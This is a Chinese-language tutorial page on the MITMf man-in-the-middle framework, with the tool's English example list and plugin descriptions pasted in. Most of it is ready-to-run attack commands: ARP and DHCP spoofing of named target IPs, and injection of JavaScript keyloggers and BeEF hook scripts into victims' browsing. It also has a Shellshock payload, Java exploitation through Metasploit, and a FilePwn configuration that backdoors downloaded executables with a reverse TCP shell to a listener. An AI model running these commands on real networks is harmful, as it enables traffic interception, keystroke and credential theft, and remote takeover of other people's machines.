首页 > 代码库 > MITMF

MITMF

**************************************************************************
需要自行手动安装python-nfqueue,pefile模块
sudo apt-get install python-nfqueue,pefile
sudo apt-get install mitmf*
pip uninstall twisted
wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
pip install ./Twisted-15.5.0.tar.bz2
这样,我们就可以正常使用 mitmf 了
sudo mitmf (一定要使用root权限运行)

下面简要介绍几个MITMf的基础功能,更多扩展工具阅读
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy

 

恶搞功能: 它可以使目标浏览网页时,所有的图片都倒转 180度。
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --upsidedownternet


Inject模块的注入功能

注入html Iframe 框架 (指向网址:http://www.freebuf.com):
mitmf -i eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com

注入js:
mitmf -i eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js

注入键盘记录js: mitmf --spoof –-arp -i eth0 –-gateway 192.168.1.1 –-target 192.168.1.114 --jskeylogger


娱乐一下
最后再看一下“破壳”是如何在DHCP中起作用的
./mitmf.py -i eth0 --spoof --dhcp --shellshock
这里的命令可以用cmd参数自行指定。
关于这个问题大家一致的思路是这样的:我们的手机IOS、Android都是基于unix的,所以如果我们搭建一个dhcp的WIFI服务器,能有什么收获呢?

 

高级玩法:
(1)与Beef配合使用:
运行 beef 来调用 beef 的 hook 脚本: cd /usr/share/beef-xss && ./beef
我们可以在启动界面找到 hook 脚本的地址和 UI界面的地址
在浏览器打开UI界面后,下面我们就用 mitmf 进行中间人攻击。输入如下命令:
mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --inject –js-url http://192.168.1.110:3000/hook.js
原理是: 利用ARP进行地址欺骗,让局域网中的其他电脑,误认为Kali为网关路由。
当目标机器打开;浏览器,就会被注入 hook 脚本。之后便可在beef上进行客户端的控制。
我们可以在另一台实验机器上进行查看,验证下Mac地址是否已经更改。
当目标打开浏览器进行访问时,我们可以在beef的UI客户端上看到目标的已经成功被 hook.
在那台实验机器上,利用审查元素功能进行源码查看。我们可以看到hook 脚本已经被注入

(2)利用java漏洞进行攻击
使用的是javapwn模块。
这个模块事实上就是根据客户端的java版本从msf挑出攻击payload进行溢出渗透攻击的过程,
只不过是将注入的过程加入到了ARP欺骗的过程而不是之前演示的那种直接给客户端一个url,使得攻击更为自然。
将metasploit打开,然后载入msgrpc模块: msf > load msgrpc Pass=abc123
其他部分保持默认就好了。然后是MITMf端,输入以下命令:
./mitmf.py -i eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137
然后我们就只需要等待就可以了,这个过程我们可以看到靶机所浏览的一些网站记录同时我们也能接收到一些毒化html的反馈信息。
如果顺利,我们的jar就被执行了。

(3)为PE文件注入后门实现渗透
使用Filepwn模块,与msf结合同样可以获得shell。
Filepwn的原理:ARP过程中如果探测到靶机有下载的活动,便劫持下载链接,首先将文件下载下来进行解包分析,如果是可执行文件就尝试注入后门,如果失败则重新打包。最后将文件输出给靶机由靶机进行下载。这里的文档支持 zip和tar.gz格式解包,支持各种可执行文件。
同样我们打开metasploit,使用handler,开始监听:
msfconsole
use exploit/multi/handler
set LHOST 192.168.217.137
set LPORT 1447
run

在使用MITMf前我们需要对配置文件进行配置,注入信息配置如下(只列出作用位置)
…………SNIP…………
[[[WindowsIntelx86]]]        
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND        
HOST = 192.168.217.137        
PORT = 1447        
SHELL = reverse_shell_tcp        
SUPPLIED_SHELLCODE = None        
ZERO_CERT = False        
PATCH_DLL = True        
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………
接下来是MITMf:
./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --filepwn
然后就是等待靶机下载文件然后执行就可以了。
最后我们的靶机执行了文件,然后msf获得到了shell。
*************************************************************************** 

https://github.com/byt3bl33d3r/MITMf
Examples

The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0:
python mitmf.py -i enp3s0

ARP poison the whole subnet with the gateway at 192.168.1.1 using the Spoof plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1

Same as above + a WPAD rogue proxy server using the Responder plugin:

python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad

ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1:

python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1

Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1

Enable LLMNR/NBTNS/MDNS spoofing:

python mitmf.py -i enp3s0 --responder --wredir --nbtns

Enable DHCP spoofing (the ip pool and subnet are pulled from the config file):

python mitmf.py -i enp3s0 --spoof --dhcp

Same as above with a ShellShock payload that will be executed if any client is vulnerable:

python mitmf.py -i enp3s0 --spoof --dhcp --shellshock ‘echo 0wn3d‘

Inject an HTML IFrame using the Inject plugin:

python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com

Inject a JS script:

python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js

And much much more!

Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..)

For a complete list of available options, just run python mitmf.py --help

Currently available plugins

HTA Drive-By : Injects a fake update notification and prompts clients to download an HTA application
SMBTrap : Exploits the ‘SMB Trap‘ vulnerability on connected clients
ScreenShotter : Uses HTML5 Canvas to render an accurate screenshot of a clients browser
Responder : LLMNR, NBT-NS, WPAD and MDNS poisoner
SSLstrip+ : Partially bypass HSTS
Spoof : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing
BeEFAutorun : Autoruns BeEF modules based on a client‘s OS or browser type
AppCachePoison : Performs HTML5 App-Cache poisoning attacks
Ferret-NG : Transperently hijacks client sessions
BrowserProfiler : Attempts to enumerate all browser plugins of connected clients
FilePwn : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy
Inject : Inject arbitrary content into HTML content
BrowserSniper : Performs drive-by attacks on clients with out-of-date browser plugins
JSkeylogger : Injects a Javascript keylogger into a client‘s webpages
Replace : Replace arbitrary content in HTML content
SMBAuth : Evoke SMB challenge-response authentication attempts
Upsidedownternet : Flips images 180 degrees
工具有几项基本功能:

sslstrip模块
默认是开启的状态。这里我尝试了用-d参数关闭了sslstrip,但是出现了无法使用的情况,应该是框架本身的bug。

Filepwn模块
主要作用是当被欺骗对象尝试下载文件时,首先对文件进行分析,对可执行文件(PE、ELF)进行后门注入,然后再给到被欺骗对象,这个下面我还会给出详细的说明。

Cachekill模块
清空客户端的缓存缓冲池,这个在我们需要重新注入一段js时是很有用的。这个功能还是非常有用的,关于用处,大家可以参考EtherDream同学的JS缓存投毒的文章,不细说。

Spoof模块
十分重要的一个模块,当我们使用MITM功能攻击欺骗时绝对是不能缺少的。其主要包括对ARP、ICMP、DHCP进行流量重定向(三种模式不能同时使用),手动指定iptables命令等,其他的规则文件(cfg文件)在主目录的config目录下,我们可以进行自定义配置。这里值得说一下是,工具还在前几天更新了关于“破壳”漏洞的DHCP影响,我们可以通过shellshock参数进行指定。下面我也会有图片进行证明演示。

BeEFAutorun模块
该模块可以使框架可以连接到BeEF,BeEF的强大我想大家是有目共睹的。连接到BeEF之后就可以将MITM与浏览器渗透结合起来,功能自然更强大,姿势,也更猥琐了。

Replace模块
这个模块主要是可以对浏览内容进行替换,支持正则表达式。注意,这里模块默认情况下是强制刷新缓存缓冲池的,要想不改变缓冲内容,需要手动指定keep-cache参数。

Inject模块
可以向被欺骗者的浏览内容中注入各种猥琐的东西,比如js啦,html啦,图片啦,小电影啦。。。也是比较有用的一个模块,下文我们还会说到。

Browser Profiler插件
枚举被欺骗机器的浏览器插件。对于我们前期的信息收集阶段还是很有用的。

JavaPwn模块
可以通过向被攻击机器中注入jar使得浏览内容被毒化,和metasploit联合可以直接渗透机器拿到shell(这点后文我也会重点说),metasploit有多强大玩渗透的同学没有不知道的吧?不知道的先出去罚站半小时(鄙人metasploit死忠粉)

Javascript Keylogger模块
一个键盘记录js,后文会有介绍

App Cache Poison
app缓存投毒。对于网页应用程序进行毒化处理,然后进行随心所欲的攻击。是Krzysztof Kotowicz的补充模块。

Upsidedownternet
恶搞模块,让浏览者的世界翻转。

RedirectsBrowserProfiler –这个插件可以检测目标的浏览器类型,这将有助于识别漏洞

MITMF